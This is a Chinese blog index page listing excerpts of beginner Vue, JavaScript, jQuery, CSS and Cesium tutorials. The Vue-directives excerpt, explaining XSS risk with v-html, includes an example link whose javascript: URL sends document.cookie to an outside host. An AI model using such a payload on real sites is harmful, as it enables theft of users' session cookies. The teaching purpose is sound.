灬violet灬-优快云博客

原创批量上传附件

批量上传附件<el-upload class="upload-demo" action="#" :on-change="handleChange2" :show-file-list="false" :on-remove="handleRemove" accept="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet,application/vnd.ms-excel" :auto-upload=

2022-04-14 09:26:16 577

原创下载后端返回文件流的文件

1、文件流的处理// 新建对象const reader = new FileReader()reader.readAsArrayBuffer(res) // res为后端返回的文件流reader.onload = (e) => { const result = e.target.result const contentType = res.type const blob = new Blob([result], { type: contentType }) const url

2022-04-14 09:22:26 1265

原创截取浏览器某区域成图片并下载

下载依赖npm run html2canvas截图页面import html2canvas from “html2canvas”/** * 截图方法 */ screenshot(){ let el = this.$refs.screeshot // 截取的内容DOm区域 html2canvas(el,{ background: null }).then(canvas => { let url = canvas.toDataURL.

2022-03-24 15:04:16 152

原创 05-vue学习-生命周期钩子函数

生命周期钩子函数组件从创建开始到被销毁结束所经历的各个阶段。如下图：引用vue官网create阶段beforeCreate在实例初始化之后,进行数据侦听和事件/侦听器的配置之前同步调用created在实例创建完成后被立即同步调用。在这一步中，实例已完成对选项的处理，意味着以下内容已被配置完毕：数据侦听、计算属性、方法、事件/侦听器的回调函数。然而，挂载阶段还没开始，且 $el property 目前尚不可用。mounte阶段beforeMount在挂载开始之前被调用：相关的 re

2021-11-15 21:59:18 858 1

原创 04-vue学习-组件

组件组件系统是Vue的一个重要概念，因为它是一种抽象，允许我们使用小型，独立和通常可复用的组件构建大型应用。1、全局组件// 注册一个全局组件MyHeaderVue.component('MyHeader',{ template:`<h1>标题内容</h1>`})// 调用组件<div id="app"> <myheader></myheader> //采用小写的注册组件 //若是驼峰命名例如 MyHeader

2021-11-11 22:34:14 715

原创 03-vue的学习

1、Ref 获取dom元素<input ref="inputValue" />this.$refs.inputValuethis.$refs.inputValue.focus() // 获取元素dom，聚焦2、计算属性 computedcomputed:计算属性，通常是根据已有的数据，计算出新的数据例子：// 示例：computed: { // 计算属性，通常是根据已有的数据，计算出新数据 completedTodos() { // 计算已完成的待办事项

2021-11-09 21:55:01 113

原创 02-vue的学习-指令

vue中指令的学习1、模板语法文本 {{}}{{express}}//文本插值语法，在 {{ }} 标记内部写的是 JS 表达式的内容纯HTMLv-html ，防止XSS,CSRF（ (1) 前端过滤 (2) 后台转义(< > < >) (3) 给cookie 加上属性 http ） <a href=javascript:location.href='http://www.baidu.com? cookie='+document.cookie>click&

2021-11-08 22:12:42 765

原创 01-vue的学习-初始

Vue一套用于构建用户界面的渐进式框架。与其它大型框架不同的是，Vue 被设计为可以自底向上逐层应用。1、MVVMM -Model:数据V -View ：视图VM -ViewModel：实现Model 与 View 的关联，当 Model 数据实现更新，能自动响应式渲染 View 视图，当试图中对界面进行操作时能够自动将操作响应到 Model 中实现数据更新。-- 双向数据绑定（Object.defineProperty() 数据劫持)几种MV*模式的区别“MVC”: model

2021-11-08 21:37:29 552

原创表格导出成EXCEL的方法的编写

导出成Excel安装依赖npm i --save FileSaver XLSX页面引入依赖import FileSaver from 'file-saver'import XLSX from 'xlsx'编写导出方法ExportExcel(){// 获取表格let table = document.querySelector('#tables').cloneNode(true);// 当表格中使用fixed属性时需要加入下一行代码，防止导出重复数据的情况（以情况而定）t

2021-11-05 17:25:09 321 1

原创 14-javascript-ajax的学习

AJAX的学习1、背景async 异步 ( async javascript and xml )前后端交互的手段2、ajax的特点不需要任何其他东西就可以直接操作纯面向对象的语法JS内部给我们提供了一个内置构造函数我们可以直接使用请求可以让页面无刷新更新数据响应内容不会直接显示到页面3、使用 AJAX创建一个 ajax 对象const xhr = new XMLHttpRequest()const xhr - new ActiveXObject("Microso

2021-10-27 21:51:45 103

原创 13-javascript-JQuery动画

JQuery 动画1、元素的显示隐藏 show(0) hide() 同时改变宽和高//第一个参数可以传一个时间单位是毫秒值//第二个参数是一个回调函数$(".btn1").click(function(){ $("div").show(1000，()=>{ console.log("显示完毕，执行的回调函数") } console.log("显示")})$(".btn2").click(function(){ $("div").

2021-10-27 21:11:47 103

原创 12-javascript-JQuery的学习

JQueryjQuery 是一个前前端库里面有很多的封装的方法特点：1、强大的选择库2、隐式迭代3、强大的链式编程注：jQuery 向外暴露了两个对象 jQuery || $1、选择器jQuery 选择到的元素叫做 jQuery对象 jQuery对象不能使用原生js的方法！！！通过原生 js 获取的元素就是原生js的对象，不能使用jQuery的方法！！！//1、通过id获取 const box = $("#box")box.setAttribute()

2021-10-25 20:41:45 116

原创包管理工具和GIT的使用

npm 包管理工具使用的所有插件所有库。npm包管理工具就像一个大型的超市npm 的语法下载包//默认下载最新版本npm install 包名npm i 包名//下载jquery的哪个版本npm i jquery@版本号npm i sass --global //全局安装在你的电脑上安装电脑任何一个地方都可以使用//简写：npm i sass --gnpm i jquery --save => npm i jquery -S //项目依赖npm

2021-10-24 20:19:17 222

原创 11-javascript-设计模式

设计模式针对不同的问题提出的解决方案每一种设计模式只是为了解决一个问题常见的设计模式工厂模式单例模式：针对构造函数创建出来的实例化对象的代码一模一样，形成的一种解决方案组合模式观察模式策略模式代理模式工厂模式//工厂函数function Person(){ const obj = {} obj.name = "张三" obj.age = 20 return obj}//工厂模式function factory(){ functi

2021-10-23 21:37:16 235

原创 10-javascript-构造函数

构造函数定义：通过 new 函数名来实例化对象的函数叫构造函数。任何的函数都可以作为构造函数存在。之所以有构造函数与普通函数之分，主要从功能上进行区别的，构造函数的主要功能为初始化对象，特点是和new 一起使用。new就是在创建对象，从无到有，构造函数就是在为初始化的对象添加属性和方法。构造函数定义时首字母大写（规范）。工厂函数创建对象function person(name,age,hobby,gender){ const obj = {} obj.name = name

2021-10-23 16:52:40 110

原创 09-javascript-各种事件

常见的事件浏览器事件onloadonscroll 浏览器滚动事件window.onload = function(){ }window.onscroll = function(){ console.log("滚动起来了")}鼠标事件onclick 单击ondblclick 双击onmousedown 鼠标按下onmouseup 鼠标抬起onmousemove 鼠标移动box.onmousedown = function(){

2021-10-22 21:52:13 73

原创 08-javascript - BOM / DOM

BOMjs组成 => ESCMAScript + BOM + DOMBOM => browser Object model 浏览器对象模型BOM 里面有一个顶级对象 window常见操作BOM的方法navigator 用户信息用户基本信息 userAgentvar userAgent = window.navigator.userAgentconsole.log(userAgent)//Mozilla/5.0 (Windows NT 10.0; W

2021-10-22 21:22:22 168

原创 07-javascript-Math / Date

Math一系列操作数字的方法1、Math.pow(2,3) 次方2、Math.random( ) 求随机数 0 - 13、Math.round( ) 四舍五入4、Math.ceil( ) 向上取整5、Math.floor( ) 向下取整6、Math.min( ) 求最小值7、Math.max( ) 求最大值8、Math.PI 圆周率9、Math.sqrt( ) 开平方10、Math.abs( ) 求绝对值eg:生成一个范围内的随机数fun

2021-10-21 21:15:45 106

原创 06-javascript正则表达

1、创建方式1、字面量创建方式var reg = /abc/2、内置构造函数var reg = new RegExp("abc")2、 test 验证字符串是否符合规则//返回布尔值，符合规则，返回 true 否则 falsevar str = "abc"var reg = /abc/var res = reg.test(str)console.log(res)//true3、元字符1、\d 有一个数字2、\D 一个非数字3、\s 一个空格4、\S 一个非空

2021-10-21 20:52:11 101

原创 05-javascript字符串

1、创建方式1、字面量var str = "hello"内置构造函数var str = new String( "hello")使用内置构造函数的方式创建的字符串，有下标和lengthen属性var str = new String( "hello")console.log(str[0]) //hconsole.log(str.length)//5注：使用字面量形式创建出来的字符串本身没有下标和 length 属性但是如果你要用就把子包装成内置构造函数创建的样子把索引

2021-10-20 21:45:22 79

原创 04-javascript数组

1、数组创建方式1、字面量var arr = [];2、内置构造函数var arr1 = new Array( )数组：有序的数据类型，里面可以放任何数据类型；length 数组的长度创建方式的区别var arr = [1,2,3,4,"a",false]var arr1 = new Array(10) 如果只传了一个参数，那就是数组的lengthvar arr1 = new Array(1."as",5,45) 如果传了两个及以上的数据，那就是数组里面的数据2、

2021-10-20 21:06:07 76

原创 03-javascript函数

1、函數的创建函数定义的过程1、准备一个盒子2、给这个盒子一个名字3、把要执行的代码放进盒子里面去（代码不会执行）1、声明函数function fn( ){ console.log(123)}2、函数表达式var fun = function( ){ console.log(123)}3、ES6箭头函数var fn = x => x * x;2、函数调用声明式函数可以再声明之前调用函数表达式不能在声明式之前调用，但都可以在声明之后调用function f

2021-10-20 20:24:06 112

原创 04-web前端-css-线性渐变/animation

渐变线性渐变：linear-gradient 从一个方向到另一个方向，渐变属于背景图的一种重复渐变：repeating-linear-gradient径向渐变：radial-gradientcircle 圆ellipseclosest-side 最近边fartherst-side 最远边closest-corner 最近角fatherst-corner 最远角过渡trsnsition-p

2021-10-19 21:48:02 610

原创 02-javascript条件语句/分支结构语句/循环语句

1、If 条件语句if(条件) { } ()里面的条件最终湖岸转换为布尔值if…elseif…else if …else2、三目运算符条件 ? 条件成立执行的代码 : 条件不成立执行的代码 var a = 10 if(a > 10){ alert('哈哈') }else{ alert('嘻嘻') }var a = 10a > 10 ? alert('哈哈') : alert('嘻嘻')3、switchswitch(你要判断的变

2021-10-19 21:23:41 100

原创 01-javascript初始

1、javascript组成ECMASctript(规范) + BOM(浏览器对象模型) = DOM(文档对象模型)2、js书写方式行内式内部<script></script>外部 <script src="js文件地址"></script>3、js注释单行注释 //多行注释 /* */4、js输出语句警告框：alert( )控制台输出 console.log( )页面输出 document.write(

2021-10-19 20:04:00 70

原创 03-web前端初始-CSS

盒模型盒模型：本质上是一个矩形盒子，也就是一个盛装内容的容器。css盒模型本质上是一个盒子，封装周围的html元素。css规定所有的元素都可以拥有像盒子一样的外形和平面空间，即都包含边框、边界、补白、内容区、这就是盒模型盒模型类型标准盒模型（w3c）怪异盒模型（IE）盒模型计算方式----盒模型的大小才是一个标记在网页中实际所占位置的大小注：1、标准盒模型的宽度= 左右margin + 左右border + 左右padding + width2、怪异盒模型宽度 = 左右margin + +w

2021-10-14 21:03:03 71

原创 02-web前端初始-CSS

float语法介绍语法：float:none/left/right;float:定义网页中其它文本如何环绕该元素显示浮动的目的：就是让竖着的东西横着来有三个取值： left:元素活动浮动在文本左面 right:元素浮动在右面 none:默认值，不浮动font-size:文字大小问题1、谷歌浏览器默认支持的字体大小是12px;如果小于12px以12px进行显示 2、浏览器默认字体大小是16px 单位： 1、像素px---相对单位--.

2021-10-13 21:07:00 79

原创 01-web前端初始-CSS

WEB 前端-css1、标签form表单// 表单框<form name="表单名称" method="post/get" action=""></form>//密码框<input type="password" />// 提交按钮<input type="submit" value="按钮内容" />//重置按钮<input type="reset" value="按钮内容" />//单选框单选按钮里的name属性必

2021-10-13 20:57:32 99

原创 2021-08-16

运用Echarts引入地图引入所需要创建的地图的数据(以四川为例)import "echarts/map/js/province/sichuan.js";import obj from "echarts/map/json/province/sichuan.json";获取数据created() { this.getData(); }, mounted () { this.DrawMap(); }method:{getData() { // 获取城市名称数据

2021-08-16 14:42:59 119

原创 vue指令

vue指令v-show 显示动态的显示和隐藏v-if 条件渲染动态的创建和删除v-else-if 条件渲染v-else 条件渲染v-bind 动态绑定缩写： :v-on 绑定事件缩写： @ .stop .prevent .enter .ctrlv-for 遍历循环与:key一起用v-htmlv-textv-slot 插槽v-prev-oncev-cloakv-model 双向绑定数据语法糖...

2021-05-24 20:47:16 148 1

原创 vue模板和MVVM

vuevue 模板语法 - 表达式{{10 + 20}}{{20 > 10 ? 'aaa' : 'bbb'}}vue修改数据的原理：//通过Object.defineProperty这个方法进行get和set方法进行拦截的var obj = {}Object.defineProperty(obj, "myname",{ set(value){ console.log('有人修改了',value) }, get(){ console.log('有人访问了') }})

2021-05-24 20:19:58 90

原创 Cesium中控制相机Camera的方法

Cesium中控制相机Camera的方法常规的相机视角查看viewer.camera.flyTo({ camera.flyTo({ destination: Cesium.Cartesian3.fromDegrees(103.19, 30.25, 5000.0), duration: 1, orientation: { heading: Cesium.Math.toRadians(), pitch: Cesium.Mat

2021-05-13 22:45:44 1776

原创 viewer自带的一些有用的组件和控件

viewer自带的一些有用的组件和控件var viewer = new Cesium.Viewer('cesiumContainer',{ animation: false; // 不创建动画窗口小部件 baseLayerPicker: false; // 不会创建底图切换窗口小部件 fullscreenButton: false; // 不会创建全屏小部件 timeline: false;// 不显示时间轴小部件 geocoder: false; // 不创建搜索小部件 homeButton

2021-05-12 22:37:06 251

原创基于Vue搭建Cesium环境

基于Vue搭建Cesium环境1、利用脚手架创建一个vue项目vue create my-test // my-test 是项目名称2、安装vue-cli-plugin-cesium 插件npm install --save-dev vue-cli-plugin-cesium3、安装完成后，使用vue invoke 来初始化这个插件vue invoke vue-cli-plugin-cesium//vue invoke 来初始化时会有三个询问// 1、Please choose a ve

2021-05-12 21:48:47 1644 2

原创 2020-12-23

Vue 组件的了解概念：组件系统是Vue的另一个重要概念，因为它是一种抽象，允许我们使用小型，独立和通常可复用的组件构建大型应用。1、组件命名组件名称如果采用驼峰命名，则在使用组件是，采用短横线命名的规范将组件名作为自定义标签使用例如 MyHeader 则写的是<my-header></my-header>2、全局注册组件 Vue.component('MyHeader',{ template:`<h1>标题内容</h1>` })

2020-12-23 21:25:24 81

原创 Vue.js 入门

Vue.js 入门是一套用于构建用户界面的渐进式框架。与其它大型框架不同的是，Vue 被设计为可以自底向上逐层应用。Vue 的核心库只关注视图层，不仅易于上手，还便于与第三方库或既有项目整合。另一方面，当与现代化的工具链以及各种支持类库结合使用时，Vue 也完全能够为复杂的单页应用提供驱动。1、MVVM架构 - M -Model:数据 - V -View ：视图 - VM -ViewModel：实现Model 与 View 的关联，当 Model 数据实现更新，能自动响应式渲染 View 视

2020-12-22 20:17:25 1996 6

weixin_53841588的博客